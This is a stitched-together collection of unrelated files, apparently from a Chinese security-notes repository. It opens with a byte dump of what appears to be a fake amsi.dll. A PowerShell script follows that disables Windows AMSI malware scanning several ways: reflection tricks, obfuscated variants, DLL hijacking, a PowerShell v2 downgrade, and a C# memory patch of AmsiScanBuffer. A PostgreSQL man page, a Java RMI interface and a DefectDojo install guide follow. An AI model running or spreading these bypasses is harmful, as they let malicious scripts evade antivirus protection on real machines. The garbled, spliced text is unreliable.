0 48 37 0 0 60 1 0 0 46 120 100 97 116 97 0 0 108 38 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 168 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 192 38 0 0 248 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 184 39 0 0 200 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 52 0 0 0 46 100 97 116 97 0 0 0 64 48 0 0 0 6 0 0 46 98 115 115 0 0 0 0 0 64 0 0 176 1 0 0 46 112 100 97 116 97 0 0 0 80 0 0 16 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 96 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 96 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 17 21 8 0 21 116 9 0 21 100 7 0 21 52 6 0 21 50 17 224 236 29 0 0 1 0 0 0 207 16 0 0 92 17 0 0 82 30 0 0 0 0 0 0 17 15 6 0 15 100 8 0 15 52 6 0 15 50 11 112 236 29 0 0 1 0 0 0 246 17 0 0 20 18 0 0 105 30 0 0 0 0 0 0 1 6 2 0 6 50 2 80 1 20 8 0 20 100 8 0 20 84 7 0 20 52 6 0 20 50 16 112 9 26 6 0 26 52 15 0 26 114 22 224 20 112 19 96 236 29 0 0 1 0 0 0 102 18 0 0 54 19 0 0 133 30 0 0 54 19 0 0 1 6 2 0 6 82 2 80 1 9 1 0 9 98 0 0 1 8 4 0 8 114 4 112 3 96 2 48 9 4 1 0 4 34 0 0 236 29 0 0 1 0 0 0 215 23 0 0 101 24 0 0 187 30 0 0 101 24 0 0 1 2 1 0 2 80 0 0 1 4 1 0 4 66 0 0 1 6 2 0 6 50 2 48 1 13 4 0 13 52 10 0 13 114 6 80 1 13 4 0 13 52 9 0 13 50 6 80 1 21 5 0 21 52 186 0 21 1 184 0 6 80 0 0 1 15 6 0 15 100 7 0 15 52 6 0 15 50 11 112 1 13 4 0 13 52 7 0 13 50 6 80 0 0 0 0 1 0 0 0 56 39 0 0 0 0 0 0 0 0 0 0 62 40 0 0 120 32 0 0 104 39 0 0 0 0 0 0 0 0 0 0 6 41 0 0 168 32 0 0 192 38 0 0 0 0 0 0 0 0 0 0 114 42 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 8 0 95 95 67 95 115 112 101 99 105 102 105 99 95 104 97 110 100 108 101 114 0 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 62 0 109 101 109 115 101 116 0 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 54 0 95 105 110 105 116 116 101 114 109 0 55 0 95 105 110 105 116 116 101 114 109 95 101 0 63 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 51 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 52 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 60 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 34 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 30 0 95 99 114 116 95 97 116 101 120 105 116 0 22 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 174 4 82 116 108 67 97 112 116 117 114 101 67 111 110 116 101 120 116 0 181 4 82 116 108 76 111 111 107 117 112 70 117 110 99 116 105 111 110 69 110 116 114 121 0 0 188 4 82 116 108 86 105 114 116 117 97 108 85 110 119 105 110 100 0 0 146 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 82 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 15 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 112 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 112 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 48 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 16 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 20 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 221 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 84 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 106 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 50 162 223 45 153 43 0 0 205 93 32 210 102 212 255 255 255 255 255 255 0 0 0 0 1 0 0 0 2 0 0 0 47 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 16 0 0 65 16 0 0 48 37 0 0 68 16 0 0 148 16 0 0 16 38 0 0 148 16 0 0 191 17 0 0 52 37 0 0 192 17 0 0 66 18 0 0 96 37 0 0 68 18 0 0 76 19 0 0 164 37 0 0 76 19 0 0 160 19 0 0 144 37 0 0 160 19 0 0 221 19 0 0 72 38 0 0 224 19 0 0 20 20 0 0 24 38 0 0 20 20 0 0 229 20 0 0 212 37 0 0 232 20 0 0 89 21 0 0 220 37 0 0 92 21 0 0 149 21 0 0 16 38 0 0 152 21 0 0 184 21 0 0 16 38 0 0 184 21 0 0 205 21 0 0 16 38 0 0 208 21 0 0 248 21 0 0 16 38 0 0 248 21 0 0 13 22 0 0 16 38 0 0 16 22 0 0 113 22 0 0 144 37 0 0 116 22 0 0 164 22 0 0 16 38 0 0 164 22 0 0 184 22 0 0 16 38 0 0 184 22 0 0 1 23 0 0 24 38 0 0 4 23 0 0 205 23 0 0 32 38 0 0 208 23 0 0 108 24 0 0 232 37 0 0 108 24 0 0 144 24 0 0 24 38 0 0 144 24 0 0 187 24 0 0 24 38 0 0 188 24 0 0 11 25 0 0 24 38 0 0 12 25 0 0 35 25 0 0 16 38 0 0 36 25 0 0 208 25 0 0 44 38 0 0 252 25 0 0 23 26 0 0 16 38 0 0 32 26 0 0 101 27 0 0 56 38 0 0 104 27 0 0 178 27 0 0 72 38 0 0 180 27 0 0 254 27 0 0 72 38 0 0 8 28 0 0 201 29 0 0 88 38 0 0 80 30 0 0 82 30 0 0 104 38 0 0 82 30 0 0 105 30 0 0 136 37 0 0 105 30 0 0 133 30 0 0 136 37 0 0 133 30 0 0 187 30 0 0 204 37 0 0 187 30 0 0 211 30 0 0 8 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 96 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 24 0 0 0 248 160 0 161 88 161 96 161 56 162 80 162 88 162 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" if (([IntPtr]::Size) -eq 8) { Write-Verbose "64 bit process detected." $DllBytes = $AmsiX64 } elseif (([IntPtr]::Size) -eq 4) { Write-Verbose "32 bit process detected." $DllBytes = $AmsiX86 } switch($method) { "unload" { Write-Verbose "Using Matt Graeber's Reflection method." if ($ShowOnly -eq $True) { Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true)' } else { Write-Output "Executing the bypass." [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) } } "unloadsilent" { Write-Verbose "Using Matt Graeber's Reflection method with WMF5 autologging bypass." if ($ShowOnly -eq $True) { Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output '[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags'')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType(''System.T''+''ype'')), [Object]([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')),(''GetFie''+''ld'')).Invoke(''amsiInitFailed'',((''Non''+''Public,Static'') -as [String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags''))).SetValue($null,$True)' } else { Write-Output "Executing the bypass." [Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) } } "unloadobfuscated" { Write-Verbose "Using Matt Graeber's Reflection method with obfuscation from Daneil Bohannon's Invoke-Obfuscation - which bypasses WMF5 autologging." if ($ShowOnly -eq $True) { $code = @" Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) "@ Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output $code } else { Write-Output "Executing the bypass." Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) } } "unload2" { Write-Verbose "Using Matt Graeber's second Reflection method." if ($ShowOnly -eq $True) { Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output '[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiContext'',[Reflection.BindingFlags]''NonPublic,Static'').GetValue($null),0x41414141)' } else { Write-Output "Executing the bypass." [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) } } "dllhijack" { Write-Verbose "Using Cornelis de Plaa's DLL hijack method." if ($ShowOnly -eq $True) { Write-Output "Copy powershell.exe from C:\Windows\System32\WindowsPowershell\v1.0 to a local folder and dropa fake amsi.dll in the same directory." Write-Output "Run the new powershell.exe and AMSI should be gone for that session." } else { [Byte[]] $temp = $DllBytes -split ' ' Write-Output "Executing the bypass." Write-Verbose "Dropping the fake amsi.dll to disk." [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp) Write-Verbose "Copying powershell.exe to the current working directory." Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd Write-Verbose "Starting powershell.exe from the current working directory." & "$pwd\powershell.exe" } } "psv2" { Write-Verbose "Using PowerShell version 2 which doesn't support AMSI." if ($ShowOnly -eq $True) { Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." } else { Write-Verbose "Checking if .Net version 2.0.50727 is installed." $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version if($versions -match "2.0.50727") { Write-Verbose ".Net version 2.0.50727 found." Write-Output "Executing the bypass." powershell.exe -version 2 } else { Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." } } } "obfuscation" { Write-Output "AMSI and the AVs which support it can be bypassed using obfuscation techqniues." Write-Output "ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) and Invoke-Obfuscation can be used (https://github.com/danielbohannon/Invoke-Obfuscation)." } } } ``` ## Adam Chester Patch Bypass Update by Adam Chester https://twitter.com/_xpn_/status/1170852932650262530 ```ps1 $Winpatch = @" using System; using System.Runtime.InteropServices; public class patch { // https://twitter.com/_xpn_/status/1170852932650262530 static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; public static void it() { if (is64Bit()) PatchAmsi(x64); else PatchAmsi(x86); } private static void PatchAmsi(byte[] patch) { try { var lib = Win32.LoadLibrary("a" + "ms" + "i.dll"); var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer"); uint oldProtect; Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, addr, patch.Length); Console.WriteLine("Patch Sucessfull"); } catch (Exception e) { Console.WriteLine(" [x] {0}", e.Message); Console.WriteLine(" [x] {0}", e.InnerException); } } private static bool is64Bit() { bool is64Bit = true; if (IntPtr.Size == 4) is64Bit = false; return is64Bit; } } class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type -TypeDefinition $Winpatch -Language CSharp [patch]::it() ``` ## Other interesting AMSI bypass * [tihanyin/PSSW100AVB/AMSI_bypass_2021_09.ps1](https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1) ```ps1 $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " " ).GetField([string](38..51|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ",'Non' + 'Public,Static').SetValue($null,$true) ``` ## AMSI.fail > AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures. - https://amsi.fail/ ## References * [S3cur3Th1sSh1t - Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/blob/master/README.md)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP RULE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP RULE \- 删除一个重写规则 .SH SYNOPSIS .sp .nf DROP RULE \fIname\fR ON \fIrelation\fR [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP RULE\fR 删除一个规则。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要删除的现存的规则。 .TP \fB\fIrelation\fB\fR 该规则应用的关系名字(可以有模式修饰)。 .TP \fBCASCADE\fR 自动删除依赖于此规则的对象。 .TP \fBRESTRICT\fR 如果有任何依赖对象,则拒绝删除此规则。这个是缺省。 .SH "EXAMPLES 例子" .PP 删除重写规则 newrule: .sp .nf DROP RULE newrule ON mytable; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准中没有DROP RULE。 .SH "SEE ALSO 参见" CREATE RULE [\fBcreate_rule\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; public interface ICalc extends Remote { public Integer sum(List<Integer> params) throws RemoteException; }
sec-knowleage
## 概述 DefectDojo:开源应用程序漏洞关联和安全编排工具。 [github地址](https://github.com/DefectDojo/django-DefectDojo) ## 安装与配置 ``` # 操作系统:Centos7 # 下载 git clone https://github.com/DefectDojo/django-DefectDojo # 进入目录并执行 cd django-DefectDojo ./setup.bash # 数据库选择mysql,不用自己安装,安装进行会帮你安装好 ``` ![defectdojo-1](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-1.png) ``` # 已知确认下去,直到出现数据库配置信息 # 启动数据库 systemctl start mariadb.service # 配置数据库账号密码 mysql_secure_installation ``` ![defectdojo-2](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-2.png) ``` # 配置后台管理账号密码 ``` ![defectdojo-3](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-3.png) ``` # 启动服务 python manage.py runserver 0.0.0.0:80 # 此时访问会报错 ``` ![defectdojo-4](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-4.png) ``` # 解决方案,修改配置文件第68行 vim django-DefectDojo/dojo/settings/settings.py # ALLOWED_HOSTS = [] # 注释这一行 ALLOWED_HOSTS = ['*'] # 添加这一行 # 重启服务 ``` ![defectdojo-5](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-5.png) ## 使用心得 ### 核心内容 * **产品管理** ``` 新增产品 产品类型: ``` ![defectdojo-7](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-7.png) * **项目管理** ``` 产品新增项目: 测试类型: 环境管理: 新增测试: 新增漏洞: ``` ![defectdojo-8](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-8.png) ![defectdojo-9](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-9.png) ![defectdojo-10](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-10.png) * **用户管理** 标准的Django管理用户方式。 ### 产品评价 * **缺点** ``` 不支持中文真的很坑,需要汉化; Python Django的框架,有很多需要踩坑的地方,我这里踩一些,大家可以补充; 系统整体架构不适合国人简单易用的习惯; …… ``` * **优点** ``` 完善的任务分配系统,不同任务分配给不同人员进行测试; 